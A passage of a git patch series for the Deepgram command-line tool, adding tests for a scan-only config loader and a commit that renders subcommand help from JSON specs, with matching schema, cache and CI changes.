+        owner.enter_context(mock.patch.object(os, "getuid", return_value=other))
+        owner.enter_context(mock.patch.object(os, "geteuid", return_value=other))
+    with owner, contextlib.redirect_stdout(out), contextlib.redirect_stderr(err):
+        try:
+            config = Config(**scene.config_kwargs, scan_only=scan_only)
+        except Exception as exc:
+            result["raised"] = (type(exc).__name__, str(exc))
+        else:
+            result.update(
+                config_path=str(config.config_path),
+                user_config_text=config.user_config_text,
+                trusted_file=config._trusted_file,
+                untrusted_reason=config._untrusted_reason,
+                key_untrusted=config._key_untrusted,
+                key_untrusted_why=config._key_untrusted_why,
+                load_failed=config._load_failed,
+                load_not_regular=config._load_not_regular,
+                load_busy=config._load_busy,
+                user_config_refused=config.user_config_refused,
+                user_data=config._user_data,
+                base_url_sources=config._base_url_sources,
+            )
+    for fd in scene.held:
+        os.close(fd)
+    result["notices"] = list(config_module._pending_notices)
+    result["stdout"] = out.getvalue()
+    result["stderr"] = err.getvalue()
+    result["modes"] = {
+        str(p.relative_to(root)): stat.S_IMODE(p.lstat().st_mode)
+        for p in sorted(root.rglob("*"))
+    }
+    return result
+
+
+@pytest.mark.parametrize("agent", [False, True], ids=["person", "agent"])
+@pytest.mark.parametrize("scene", SCENARIOS, ids=lambda s: s.__name__)
+def test_scan_matches_full_load(
+    scene: Callable[[Scene], None],
+    agent: bool,
+    tmp_path: Path,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    root = tmp_path / "s"
+    full = _observe(scene, root, monkeypatch, agent=agent, scan_only=False)
+    scan = _observe(scene, root, monkeypatch, agent=agent, scan_only=True)
+    assert scan == full
+
+
+def test_scenarios_reach_the_checks(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    """The scenarios above do exercise the notices they're there for."""
+    root = tmp_path / "s"
+    seen: set[str] = set()
+    warned = 0
+    for scene, agent in itertools.product(SCENARIOS, (False, True)):
+        result = _observe(scene, root, monkeypatch, agent=agent, scan_only=True)
+        seen |= {notice[0] for notice in result["notices"]}
+        warned += any(n[0] == "W-CFG-LOAD" for n in result["notices"])
+    expected = {
+        "W-CFG-LOAD",
+        "I-PERM-FIXED",
+        "W-PERM-AGENT",
+        "W-CFG-UNTRUSTED",
+        "W-CF-API",
+        "W-CF-TOOLS",
+        "W-CF-PLUGINS",
+        "W-CF-UPDATE",
+        "W-CF-BASEURL",
+        "W-PF-API",
+        "W-PF-TOOLS",
+        "W-PF-TELEMETRY",
+        "W-PF-UPDATE",
+        "W-PF-PLUGINS",
+        "W-PF-APIKEY",
+        "W-PF-PROJECT",
+        "W-PF-PROFILE",
+        "W-PF-BASEURL",
+        "W-PF-OTHER",
+    }
+    assert expected <= seen
+    assert warned >= 10
+
+
+def test_foreign_owner_scenarios_warn_per_key(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    """The owner scenarios reach the per-key "owner" lines in agent mode, in
+    both modes (so dropping them in a scan-only Config fails the test above)."""
+    from deepctl_core import messages as msg
+
+    owner = msg.W_CFG_UNTRUSTED_WHY["owner"]
+    for scan_only in (False, True):
+        result = _observe(
+            _foreign_key, tmp_path / "s", monkeypatch, agent=True, scan_only=scan_only
+        )
+        lines = [n[1] for n in result["notices"] if n[0] == "W-CFG-UNTRUSTED"]
+        assert len(lines) == 2, lines
+        assert all(owner in line for line in lines)
+        assert result["key_untrusted_why"] == "owner"
+        person = _observe(
+            _foreign_key, tmp_path / "s", monkeypatch, agent=False, scan_only=scan_only
+        )
+        assert person["notices"] == []
+
+
+@pytest.mark.skipif(os.geteuid() == 0, reason="root can read any directory")
+def test_unreadable_home_raises_the_same(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    home = tmp_path / "home"
+    home.mkdir(mode=0o000)
+    monkeypatch.setenv("HOME", str(home))
+    monkeypatch.delenv("XDG_CONFIG_HOME", raising=False)
+    try:
+        errors = []
+        for scan_only in (False, True):
+            try:
+                config = Config(scan_only=scan_only)
+            except OSError as exc:
+                errors.append((type(exc), str(exc)))
+            else:
+                errors.append((None, str(config.config_path)))
+    finally:
+        os.chmod(home, 0o700)
+    assert errors[0] == errors[1]
+
+
+def test_field_lists_match_the_models() -> None:
+    sections = {
+        name: frozenset(field.annotation.model_fields)  # type: ignore[union-attr]
+        for name, field in DeepgramConfig.model_fields.items()
+        if isinstance(field.annotation, type)
+        and issubclass(field.annotation, config_module._models().BaseModel)
+    }
+    assert sections == config_module._SECTION_FIELDS
+    assert config_module._PROFILE_FIELDS == frozenset(ProfileConfig.model_fields)
+    assert config_module._OUTPUT_FIELDS == tuple(OutputConfig.model_fields)
+    scalars = set(DeepgramConfig.model_fields) - set(sections) - {"profiles"}
+    assert scalars == config_module._SCALAR_FIELDS
+
+
+def test_merge_is_safe_never_lies() -> None:
+    """Data the scan skips merging always merges without an error."""
+    values: list[Any] = [None, 1, "s", [1], {}, {"x": 1}]
+    keys = [*sorted(DeepgramConfig.model_fields), "copy", "zzz", 1]
+    nested = {
+        "profiles": [{"a": {"api_key": "k"}}, {"a": {"copy": 1}}, {"a": 1}, {}],
+        **{
+            section: [{f: "v" for f in fields}, {"copy": 1}, {"zzz": 1}]
+            for section, fields in config_module._SECTION_FIELDS.items()
+        },
+    }
+    checked = 0
+    for key in keys:
+        for value in [*values, *nested.get(str(key), [])]:
+            data = {key: value}
+            if not config_module._merge_is_safe(data):
+                continue
+            config = Config.__new__(Config)
+            config._config = DeepgramConfig()
+            config._merge_config(data)
+            checked += 1
+    assert checked > 20
+
+
+def test_scan_only_config_has_no_settings(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    monkeypatch.setenv("HOME", str(tmp_path))
+    monkeypatch.delenv("XDG_CONFIG_HOME", raising=False)
+    monkeypatch.chdir(tmp_path)
+    config = Config(scan_only=True)
+    assert config.scan_only is True
+    assert Config().scan_only is False
+    with pytest.raises(RuntimeError, match="scan-only"):
+        config.get("output.format")
+    with pytest.raises(RuntimeError, match="scan-only"):
+        _ = config.profile
+
+
+def test_models_still_import_from_config() -> None:
+    from deepctl_core.config import ApiConfig
+    from deepctl_core.config import ProfileConfig as Profile
+
+    assert Profile is ProfileConfig
+    assert ApiConfig.__module__ == "deepctl_core.config_models"
+    assert config_module.yaml is yaml
+
+
+SCAN = """
+import os, sys
+from deepctl_core import _plugin_trust
+from deepctl_core.config import Config
+loaded = sorted(m for m in ("pydantic", "yaml", "rich") if m in sys.modules)
+assert loaded == [], ("import", loaded)
+_plugin_trust.allow_override_names()
+config = Config(scan_only=True)
+from deepctl_core import config as c
+print(" ".join(sorted(m for m in ("pydantic", "yaml", "rich") if m in sys.modules)))
+print(" ".join(n[0] for n in c._pending_notices))
+"""
+
+
+def _scan_subprocess(home: Path, cwd: Path) -> list[str]:
+    env = {
+        k: v
+        for k, v in os.environ.items()
+        if not k.startswith(("DEEPGRAM_", "PYTHON", "XDG_"))
+    }
+    env["HOME"] = str(home)
+    proc = subprocess.run(
+        [sys.executable, "-c", SCAN],
+        capture_output=True,
+        text=True,
+        env=env,
+        cwd=cwd,
+        timeout=60,
+    )
+    assert proc.returncode == 0, proc.stderr
+    return proc.stdout.splitlines()
+
+
+def test_scan_imports_no_pydantic(tmp_path: Path) -> None:
+    home, work = tmp_path / "home", tmp_path / "work"
+    home.mkdir()
+    work.mkdir()
+    assert _scan_subprocess(home, work) == ["", ""]
+    cfg = home / ".config" / "deepctl"
+    cfg.mkdir(parents=True, exist_ok=True)
+    (cfg / "config.yaml").write_text(_dump(TRUST_CONFIG))
+    os.chmod(cfg / "config.yaml", 0o600)
+    (work / "deepgram.yaml").write_text(_dump({"api_key": KEY}))
+    modules, notices = _scan_subprocess(home, work)
+    assert modules == "yaml"
+    assert notices == "W-PF-APIKEY"
diff --git a/packages/deepctl-core/tests/unit/test_output.py b/packages/deepctl-core/tests/unit/test_output.py
index d039c2f2..79a5b98d 100644
--- a/packages/deepctl-core/tests/unit/test_output.py
+++ b/packages/deepctl-core/tests/unit/test_output.py
@@ -51,9 +51,7 @@ def test_baseline_is_interactive(self, baseline):
             ["dg", "listen", "foo.wav", "--non-interactive"],
         ],
     )
-    def test_non_interactive_flag_anywhere_in_argv(
-        self, baseline, monkeypatch, argv
-    ):
+    def test_non_interactive_flag_anywhere_in_argv(self, baseline, monkeypatch, argv):
         monkeypatch.setattr("sys.argv", argv)
         assert is_agentic() is True
 
@@ -64,9 +62,7 @@ def test_non_interactive_flag_anywhere_in_argv(
             ["dg", "listen", "--agent-friendly", "foo.wav"],
         ],
     )
-    def test_agent_friendly_flag_anywhere_in_argv(
-        self, baseline, monkeypatch, argv
-    ):
+    def test_agent_friendly_flag_anywhere_in_argv(self, baseline, monkeypatch, argv):
         monkeypatch.setattr("sys.argv", argv)
         assert is_agentic() is True
 
@@ -79,9 +75,7 @@ def test_ci_env_var_is_hard_signal(self, baseline, monkeypatch, ci_value):
         "ci_value",
         ["false", "0", "", "yes", "TRUE"],
     )
-    def test_other_ci_values_do_not_count(
-        self, baseline, monkeypatch, ci_value
-    ):
+    def test_other_ci_values_do_not_count(self, baseline, monkeypatch, ci_value):
         monkeypatch.setenv("CI", ci_value)
         assert is_agentic() is False
 
@@ -94,9 +88,7 @@ def test_other_ci_values_do_not_count(
             "CODEX_SANDBOX_NETWORK_DISABLED",
         ],
     )
-    def test_ai_tool_env_var_is_hard_signal(
-        self, baseline, monkeypatch, env_var
-    ):
+    def test_ai_tool_env_var_is_hard_signal(self, baseline, monkeypatch, env_var):
         monkeypatch.setenv(env_var, "1")
         assert is_agentic() is True
 
@@ -401,9 +393,7 @@ def test_print_output_json_dict(self, mock_console):
         mock_console.print.assert_called_once()
 
     @patch("deepctl_core.output.console")
-    @patch(
-        "deepctl_core.output._output_config", {"quiet": True, "format": "json"}
-    )
+    @patch("deepctl_core.output._output_config", {"quiet": True, "format": "json"})
     def test_print_output_quiet(self, mock_console):
         """Test printing in quiet mode."""
         print_output({"test": "value"})
@@ -438,9 +428,7 @@ def test_print_output_table(self, mock_console):
         assert mock_console.print.call_count >= 1
 
     @patch("deepctl_core.output.console")
-    @patch(
-        "deepctl_core.output._output_config", {"quiet": False, "format": "csv"}
-    )
+    @patch("deepctl_core.output._output_config", {"quiet": False, "format": "csv"})
     def test_print_output_csv(self, mock_console):
         """Test printing as CSV."""
         data = [{"name": "Alice", "age": 30}]
@@ -460,3 +448,46 @@ def test_get_console(self):
         # Should return Rich Console instance
         assert console is not None
         assert hasattr(console, "print")
+
+
+class TestLazyQuiet:
+    """setup_output() records --quiet without building the rich Console, so
+    a run that prints nothing (``dg <cmd> --help``) never imports rich."""
+
+    def test_quiet_waits_for_the_console(self):
+        from deepctl_core.output import _LazyConsole
+
+        console = _LazyConsole(stderr=True)
+        console.quiet = True
+        assert object.__getattribute__(console, "_deepctl_console") is None
+        assert console.quiet is True
+        assert object.__getattribute__(console, "_deepctl_console").quiet is True
+        console.quiet = False
+        assert object.__getattribute__(console, "_deepctl_console").quiet is False
+
+    def test_unset_quiet_keeps_the_default(self):
+        from deepctl_core.output import _LazyConsole
+
+        assert _LazyConsole().quiet is False
+
+    def test_setup_output_imports_no_rich(self, tmp_path):
+        import subprocess
+        import sys
+
+        code = (
+            "import sys\n"
+            "from deepctl_core.output import console, setup_output\n"
+            "setup_output(format_type='default', quiet=True)\n"
+            "assert 'rich' not in sys.modules\n"
+            "assert console.quiet is True\n"
+            "console.print('hidden')\n"
+        )
+        proc = subprocess.run(
+            [sys.executable, "-c", code],
+            capture_output=True,
+            text=True,
+            env={"PATH": "/usr/bin:/bin", "HOME": str(tmp_path)},
+            timeout=60,
+        )
+        assert proc.returncode == 0, proc.stderr
+        assert proc.stdout == ""

From 680e5fb07e1b14975e465079b9baaa710834f9c5 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 03:37:28 -0500
Subject: [PATCH 10/88] perf(cli): render subcommand help from specs

Each built-in fragment now carries a "help" block: its command's --help
as data (help text with examples and the agent line, and every parameter
with its type, flags and metavar). deepctl._help_spec turns a Click
command into a spec and a spec back into a callback-less command.

python -m deepctl._manifest_build --write-help writes the blocks from
each command as PluginManager builds it, after rebuilding the command
from the spec and comparing the rendered help at three widths. --check
now also fails when a block no longer matches its command. A command
that uses a Click feature a spec can't carry (a shown default, an
environment variable, a custom class) is refused instead of written
incompletely.

assemble() stays stdlib-only. With a help directory it writes one file
per command to deepctl/_help/ (the build hook does this for every
wheel); the blocks never go into _manifest.json, which root --help and
dg mcp parse. _manifest.help_spec() reads the file, or the fragment in a
source tree. The manifest schema describes the block.

dg <cmd> --help and dg <group> <sub> --help for a built-in leaf now
build the command from its help spec instead of importing it, and the
root callback only scans the config files (Config(scan_only=True)).
Click still renders the help, so width, program name and the telemetry
footer are unchanged, and every config notice prints as before.

The spec path is taken only for exactly those argv shapes, for a leaf
with a spec, when plugins.allow_override lists neither the command nor
its group, outside DEEPCTL_EAGER_LOAD, and for a subcommand only when
every entry point its group would scan is the built-in's own; that scan
reads every distribution, so a "yes" is kept next to the discovery cache
for the same plugin stamp, with the same directory and agent rules.
Group help, a command without a spec and everything else take the normal
path. The spec path never writes a help cache entry.

Intended changes: a built-in whose package can't be imported still
prints its help (running it still reports dependency_missing), and no
command module is imported for a leaf's help.

dg debug <sub> --help with an unreadable HOME now exits 0, lazy or eager:
Click runs the debug group's callback before the subcommand
parses --help, and that callback built a Config, which failed. When the
root found no readable config for a --help run, a group callback now
leaves the subcommand to show its help (a subcommand that runs still
fails on its own Config). The toolkit subcommand also treats an
unreadable cache as an empty one instead of failing to load.

New tests compare spec help with the lazy path and with eager loading
across every leaf, width, output environment and config fixture.

CI now runs the debug-toolkit package tests.
---
 .github/workflows/test.yml                    |   2 +-
 .gitignore                                    |   2 +
 docs/contracts/manifest.schema.json           |  79 ++-
 .../src/deepctl_cmd_debug_toolkit/fetcher.py  |  14 +-
 .../tests/unit/test_command.py                |  26 +
 .../src/deepctl_core/base_group_command.py    |  11 +
 src/deepctl/_cache.py                         |  51 ++
 src/deepctl/_cli.py                           | 114 +++-
 src/deepctl/_help_spec.py                     | 262 ++++++++
 src/deepctl/_manifest.d/api.json              | 295 ++++++++-
 src/deepctl/_manifest.d/billing.json          | 257 +++++++-
 src/deepctl/_manifest.d/completion.json       | 166 ++++-
 src/deepctl/_manifest.d/debug-audio.json      | 194 +++++-
 src/deepctl/_manifest.d/debug-browser.json    | 214 ++++++-
 src/deepctl/_manifest.d/debug-network.json    | 256 +++++++-
 src/deepctl/_manifest.d/debug-probe.json      | 193 +++++-
 src/deepctl/_manifest.d/debug-toolkit.json    |  15 +-
 src/deepctl/_manifest.d/debug.json            |  38 +-
 src/deepctl/_manifest.d/ffprobe.json          | 171 +++++-
 src/deepctl/_manifest.d/init.json             | 295 ++++++++-
 src/deepctl/_manifest.d/keys.json             | 408 ++++++++++++-
 src/deepctl/_manifest.d/listen.json           | 568 +++++++++++++++++-
 src/deepctl/_manifest.d/login.json            | 237 +++++++-
 src/deepctl/_manifest.d/logout.json           | 192 +++++-
 src/deepctl/_manifest.d/mcp.json              | 236 +++++++-
 src/deepctl/_manifest.d/members.json          | 323 +++++++++-
 src/deepctl/_manifest.d/models.json           | 172 +++++-
 src/deepctl/_manifest.d/plugin.json           |  15 +-
 src/deepctl/_manifest.d/profiles.json         | 193 +++++-
 src/deepctl/_manifest.d/projects.json         | 258 +++++++-
 src/deepctl/_manifest.d/read.json             | 273 ++++++++-
 src/deepctl/_manifest.d/requests.json         | 362 ++++++++++-
 src/deepctl/_manifest.d/skills.json           |  15 +-
 src/deepctl/_manifest.d/speak.json            | 329 +++++++++-
 src/deepctl/_manifest.d/transcribe.json       | 568 +++++++++++++++++-
 src/deepctl/_manifest.d/update.json           | 194 +++++-
 src/deepctl/_manifest.d/usage.json            | 279 ++++++++-
 src/deepctl/_manifest.d/whoami.json           | 150 ++++-
 src/deepctl/_manifest.py                      |  26 +
 src/deepctl/_manifest_build.py                | 206 ++++++-
 tests/unit/test_command_imports.py            |  66 +-
 tests/unit/test_help_parity.py                | 225 +++++++
 tests/unit/test_import_budget.py              |  33 +-
 tests/unit/test_lazy_group.py                 | 312 +++++++++-
 tests/unit/test_manifest.py                   | 252 +++++++-
 45 files changed, 8466 insertions(+), 81 deletions(-)
 create mode 100644 src/deepctl/_help_spec.py
 create mode 100644 tests/unit/test_help_parity.py

diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
index 0c8e674f..ed2ea345 100644
--- a/.github/workflows/test.yml
+++ b/.github/workflows/test.yml
@@ -36,7 +36,7 @@ jobs:
 
       - name: Run tests
         run: |
-          uv run pytest tests packages/deepctl-core/tests packages/deepctl-shared-utils/tests packages/deepctl-telemetry/tests packages/deepctl-cmd-api/tests packages/deepctl-cmd-login/tests packages/deepctl-cmd-projects/tests packages/deepctl-cmd-transcribe/tests packages/deepctl-cmd-usage/tests packages/deepctl-cmd-debug/tests packages/deepctl-cmd-debug-audio/tests packages/deepctl-cmd-debug-browser/tests packages/deepctl-cmd-debug-network/tests packages/deepctl-cmd-debug-probe/tests packages/deepctl-cmd-ffprobe/tests packages/deepctl-cmd-mcp/tests packages/deepctl-cmd-update/tests packages/deepctl-cmd-plugin/tests packages/deepctl-cmd-skills/tests packages/deepctl-cmd-init/tests packages/deepctl-cmd-models/tests packages/deepctl-cmd-speak/tests packages/deepctl-cmd-keys/tests packages/deepctl-cmd-read/tests packages/deepctl-cmd-listen/tests packages/deepctl-cmd-requests/tests packages/deepctl-cmd-billing/tests packages/deepctl-cmd-members/tests packages/deepctl-cmd-completion/tests packages/deepctl-plugin-example/tests --cov --cov-report=term-missing -v
+          uv run pytest tests packages/deepctl-core/tests packages/deepctl-shared-utils/tests packages/deepctl-telemetry/tests packages/deepctl-cmd-api/tests packages/deepctl-cmd-login/tests packages/deepctl-cmd-projects/tests packages/deepctl-cmd-transcribe/tests packages/deepctl-cmd-usage/tests packages/deepctl-cmd-debug/tests packages/deepctl-cmd-debug-audio/tests packages/deepctl-cmd-debug-browser/tests packages/deepctl-cmd-debug-network/tests packages/deepctl-cmd-debug-toolkit/tests packages/deepctl-cmd-debug-probe/tests packages/deepctl-cmd-ffprobe/tests packages/deepctl-cmd-mcp/tests packages/deepctl-cmd-update/tests packages/deepctl-cmd-plugin/tests packages/deepctl-cmd-skills/tests packages/deepctl-cmd-init/tests packages/deepctl-cmd-models/tests packages/deepctl-cmd-speak/tests packages/deepctl-cmd-keys/tests packages/deepctl-cmd-read/tests packages/deepctl-cmd-listen/tests packages/deepctl-cmd-requests/tests packages/deepctl-cmd-billing/tests packages/deepctl-cmd-members/tests packages/deepctl-cmd-completion/tests packages/deepctl-plugin-example/tests --cov --cov-report=term-missing -v
 
       - name: Test CLI installation
         run: |
diff --git a/.gitignore b/.gitignore
index bc4c59db..2fd60e1f 100644
--- a/.gitignore
+++ b/.gitignore
@@ -167,3 +167,5 @@ tmp_deepgram-cli/
 
 # The command manifest, assembled at build time from src/deepctl/_manifest.d/
 src/deepctl/_manifest.json
+# Help specs, copied from the fragments at build time
+src/deepctl/_help/
diff --git a/docs/contracts/manifest.schema.json b/docs/contracts/manifest.schema.json
index b717fae7..f6691a5f 100644
--- a/docs/contracts/manifest.schema.json
+++ b/docs/contracts/manifest.schema.json
@@ -2,7 +2,7 @@
   "$schema": "https://json-schema.org/draft/2020-12/schema",
   "$id": "https://github.com/deepgram/cli/docs/contracts/manifest.schema.json",
   "title": "deepctl command manifest",
-  "description": "deepctl/_manifest.json, assembled by deepctl/_manifest_build.py:assemble() from the per-command fragments in deepctl/_manifest.d/ (ADR-02, W3.2). $defs.fragment describes one fragment. Rules that span fragments (unique command paths, alias and tool names; a subcommand's group must have a fragment; an alias can't be a command name) are checked by assemble().",
+  "description": "deepctl/_manifest.json, assembled by deepctl/_manifest_build.py:assemble() from the per-command fragments in deepctl/_manifest.d/. $defs.fragment describes one fragment, and $defs.help the help block a fragment can carry. Rules that span fragments (unique command paths, alias and tool names; a subcommand's group must have a fragment; an alias can't be a command name) are checked by assemble().",
   "type": "object",
   "additionalProperties": false,
   "required": ["manifest_version", "commands", "aliases", "tools"],
@@ -116,8 +116,83 @@
           "type": "array",
           "items": {"$ref": "#/$defs/tool"},
           "uniqueItems": true
-        }
+        },
+        "help": {"$ref": "#/$defs/help"}
       }
+    },
+    "help": {
+      "description": "The command's --help as data: written by python -m deepctl._manifest_build --write-help from the command as dg builds it, checked by --check. assemble() copies it to deepctl/_help/<fragment file name>, never into the manifest. dg <cmd> --help and dg <group> <sub> --help render a leaf from it without importing the command.",
+      "type": "object",
+      "additionalProperties": false,
+      "required": ["name", "help", "short_help", "epilog", "hidden", "deprecated", "no_args_is_help", "options_metavar", "params"],
+      "properties": {
+        "name": {"$ref": "#/$defs/name"},
+        "help": {"description": "Click help: the help text with its examples and the agent line already joined.", "type": ["string", "null"]},
+        "short_help": {"type": ["string", "null"]},
+        "epilog": {"type": ["string", "null"]},
+        "hidden": {"type": "boolean"},
+        "deprecated": {"oneOf": [{"type": "boolean"}, {"type": "string", "minLength": 1}]},
+        "no_args_is_help": {"type": "boolean"},
+        "options_metavar": {"type": ["string", "null"]},
+        "params": {"type": "array", "items": {"$ref": "#/$defs/helpParam"}},
+        "group": {"description": "The command is a group: the spec describes the group itself (the parent in dg <group> <sub> --help). Its subcommands have their own fragments; its own help is never rendered from a spec.", "const": true},
+        "subcommand_metavar": {"type": "string"}
+      },
+      "if": {"required": ["group"]},
+      "then": {"required": ["subcommand_metavar"]}
+    },
+    "helpParam": {
+      "type": "object",
+      "additionalProperties": false,
+      "required": ["class", "name", "opts", "secondary_opts", "type", "required", "nargs", "metavar", "eager", "expose"],
+      "properties": {
+        "class": {"enum": ["option", "argument"]},
+        "name": {"type": "string", "pattern": "^[A-Za-z_][A-Za-z0-9_]*$"},
+        "opts": {"type": "array", "items": {"type": "string"}, "minItems": 1},
+        "secondary_opts": {"type": "array", "items": {"type": "string"}},
+        "type": {"$ref": "#/$defs/helpType"},
+        "required": {"type": "boolean"},
+        "nargs": {"type": "integer"},
+        "metavar": {"type": ["string", "null"]},
+        "eager": {"type": "boolean"},
+        "expose": {"type": "boolean"},
+        "multiple": {"type": "boolean"},
+        "is_flag": {"type": "boolean"},
+        "count": {"type": "boolean"},
+        "hidden": {"type": "boolean"},
+        "help": {"type": ["string", "null"]}
+      },
+      "if": {"properties": {"class": {"const": "option"}}},
+      "then": {"required": ["multiple", "is_flag", "count", "hidden", "help"]},
+      "else": {"not": {"anyOf": [{"required": ["multiple"]}, {"required": ["is_flag"]}, {"required": ["count"]}, {"required": ["hidden"]}, {"required": ["help"]}]}}
+    },
+    "helpType": {
+      "description": "A Click parameter type: a named one (text, integer, float, boolean, uuid), choice, integer range, float range, path, file, or a converter function by name (func).",
+      "type": "object",
+      "required": ["name"],
+      "properties": {
+        "name": {"type": "string", "minLength": 1},
+        "choices": {"type": "array", "items": {"type": "string"}},
+        "case_sensitive": {"type": "boolean"},
+        "min": {"type": ["number", "null"]},
+        "max": {"type": ["number", "null"]},
+        "min_open": {"type": "boolean"},
+        "max_open": {"type": "boolean"},
+        "clamp": {"type": "boolean"},
+        "exists": {"type": "boolean"},
+        "file_okay": {"type": "boolean"},
+        "dir_okay": {"type": "boolean"},
+        "writable": {"type": "boolean"},
+        "readable": {"type": "boolean"},
+        "resolve_path": {"type": "boolean"},
+        "allow_dash": {"type": "boolean"},
+        "mode": {"type": "string"},
+        "encoding": {"type": ["string", "null"]},
+        "lazy": {"type": ["boolean", "null"]},
+        "atomic": {"type": "boolean"},
+        "func": {"const": true}
+      },
+      "additionalProperties": false
     }
   }
 }
diff --git a/packages/deepctl-cmd-debug-toolkit/src/deepctl_cmd_debug_toolkit/fetcher.py b/packages/deepctl-cmd-debug-toolkit/src/deepctl_cmd_debug_toolkit/fetcher.py
index b7e9b054..2789a604 100644
--- a/packages/deepctl-cmd-debug-toolkit/src/deepctl_cmd_debug_toolkit/fetcher.py
+++ b/packages/deepctl-cmd-debug-toolkit/src/deepctl_cmd_debug_toolkit/fetcher.py
@@ -73,10 +73,18 @@ def _fetch_github_contents(path: str) -> tuple[str, bytes]:
 
 
 def get_cached_manifest() -> ToolkitManifest | None:
-    """Return the cached manifest if it exists and is fresh, else None."""
-    if not _MANIFEST_CACHE.exists():
+    """Return the cached manifest if it exists and is fresh, else None.
+
+    An unreadable cache (a HOME the user can't read) counts as no cache:
+    loading the debug group, and every `dg debug <sub> --help`, reads this.
+    """
+    try:
+        if not _MANIFEST_CACHE.exists():
+            return None
+        has_age = _MANIFEST_AGE.exists()
+    except OSError:
         return None
-    if _MANIFEST_AGE.exists():
+    if has_age:
         try:
             age = float(_MANIFEST_AGE.read_text().strip())
             if time.time() - age > _MANIFEST_TTL:
diff --git a/packages/deepctl-cmd-debug-toolkit/tests/unit/test_command.py b/packages/deepctl-cmd-debug-toolkit/tests/unit/test_command.py
index 3db4bcbb..cdc52cc6 100644
--- a/packages/deepctl-cmd-debug-toolkit/tests/unit/test_command.py
+++ b/packages/deepctl-cmd-debug-toolkit/tests/unit/test_command.py
@@ -37,3 +37,29 @@ def test_expired_credential_warning_is_visible_to_toolkit_script() -> None:
 
     assert result.exit_code == 0
     assert "Run `dg login` again" in result.output
+
+
+def test_unreadable_cache_counts_as_no_cache(tmp_path: Path, monkeypatch) -> None:
+    """Loading the debug group reads the toolkit cache; a HOME the user
+    can't read must not fail it (every `dg debug <sub> --help` loads it)."""
+    import os
+
+    import pytest
+
+    from deepctl_cmd_debug_toolkit import command, fetcher
+
+    if os.geteuid() == 0:
+        pytest.skip("root can read any directory")
+    locked = tmp_path / "home"
+    (locked / "toolkit").mkdir(parents=True)
+    monkeypatch.setattr(
+        fetcher, "_MANIFEST_CACHE", locked / "toolkit" / "manifest.json"
+    )
+    monkeypatch.setattr(fetcher, "_MANIFEST_AGE", locked / "toolkit" / "manifest.age")
+    locked.chmod(0)
+    try:
+        assert fetcher.get_cached_manifest() is None
+        names = [c.name for c in command.ToolkitCommand().setup_commands()]
+    finally:
+        locked.chmod(0o700)
+    assert names == ["refresh"]
diff --git a/packages/deepctl-core/src/deepctl_core/base_group_command.py b/packages/deepctl-core/src/deepctl_core/base_group_command.py
index 7948c3fa..43a5d197 100644
--- a/packages/deepctl-core/src/deepctl_core/base_group_command.py
+++ b/packages/deepctl-core/src/deepctl_core/base_group_command.py
@@ -191,6 +191,17 @@ def _create_group_callback(self) -> Any:
         def group_callback(**kwargs: Any) -> Any:
             # Pass CLI context and arguments to the command
             ctx = click.get_current_context()
+            obj = ctx.find_root().obj
+            if (
+                ctx.invoked_subcommand is not None
+                and isinstance(obj, dict)
+                and obj.get("help_without_config")
+            ):
+                # A --help run with no readable config (an unreadable HOME):
+                # Click calls the group before its subcommand parses --help,
+                # and building a Config here would fail the help. The
+                # subcommand shows its help, or fails on its own Config.
+                return None
             return self.execute(ctx, **kwargs)
 
         # Set function name and docstring
diff --git a/src/deepctl/_cache.py b/src/deepctl/_cache.py
index d2da51e9..8ff9f4cc 100644
--- a/src/deepctl/_cache.py
+++ b/src/deepctl/_cache.py
@@ -536,6 +536,57 @@ def write_discovery(
         pass
 
 
+def _subcommands_file(directory: str) -> str:
+    import zlib
+
+    prefix = zlib.crc32(sys.prefix.encode("utf-8", "replace"))
+    return os.path.join(directory, f"subcommands-{prefix:08x}.json")
+
+
+def _builtin_only_groups(directory: str, stamp: str) -> list[str]:
+    data = _read_private(_subcommands_file(directory))
+    if data is None:
+        return []
+    try:
+        cached = json.loads(data)
+    except ValueError:
+        return []
+    if not isinstance(cached, dict) or cached.get("stamp") != stamp:
+        return []
+    groups = cached.get("builtin_only")
+    if not isinstance(groups, list) or not all(isinstance(g, str) for g in groups):
+        return []
+    return groups
+
+
+def read_builtin_only(stamp: str, group: str) -> bool:
+    """True when a scan with this stamp found only the built-in
+    subcommands' own entry points for ``group``. Next to the discovery
+    cache, with the same directory, ownership and agent rules; anything
+    else in the file means "scan again"."""
+    directory = _discovery_dir(create=False)
+    if directory is None:
+        return False
+    return group in _builtin_only_groups(directory, stamp)
+
+
+def write_builtin_only(stamp: str, group: str) -> None:
+    """Record that ``group``'s entry points are all built-in for ``stamp``
+    (only that outcome is kept: any other scans again each run)."""
+    try:
+        directory = _discovery_dir(create=True)
+        if directory is None:
+            return
+        groups = _builtin_only_groups(directory, stamp)
+        if group in groups:
+            return
+        _prune_stale_tmp(directory)
+        data = json.dumps({"stamp": stamp, "builtin_only": sorted([*groups, group])})
+        _write_private(_subcommands_file(directory), data.encode("utf-8"))
+    except OSError:
+        pass
+
+
 def help_width() -> int:
     """The width Click formats help for: the terminal's, at most 80."""
     import shutil
diff --git a/src/deepctl/_cli.py b/src/deepctl/_cli.py
index 27c7a5af..735e19ab 100644
--- a/src/deepctl/_cli.py
+++ b/src/deepctl/_cli.py
@@ -9,6 +9,11 @@
 are discovered only for a name that isn't built in, for root ``--help`` and
 for ``dg plugin list``. ``DEEPCTL_EAGER_LOAD=1`` (0.5.x only) loads every
 command up front, as 0.4.x did.
+
+``dg <cmd> --help`` and ``dg <group> <sub> --help`` for a built-in leaf
+render from the command's help spec (``deepctl._help_spec``) without
+importing its module, and the root callback then only scans the config
+files (``Config(scan_only=True)``): see ``LazyGroup._help_command``.
 """
 
 from __future__ import annotations
@@ -40,6 +45,10 @@
 # The program name shown in usage lines (the launcher and `python -m deepctl`
 # set it; `--version` ignores it).
 PROG_NAME_ENV_VAR = "DEEPCTL_PROG_NAME"
+# Set in the root context's obj when a --help run found no readable config
+# (an unreadable HOME): a group's callback then leaves its subcommand to
+# show its help.
+HELP_WITHOUT_CONFIG = "help_without_config"
 
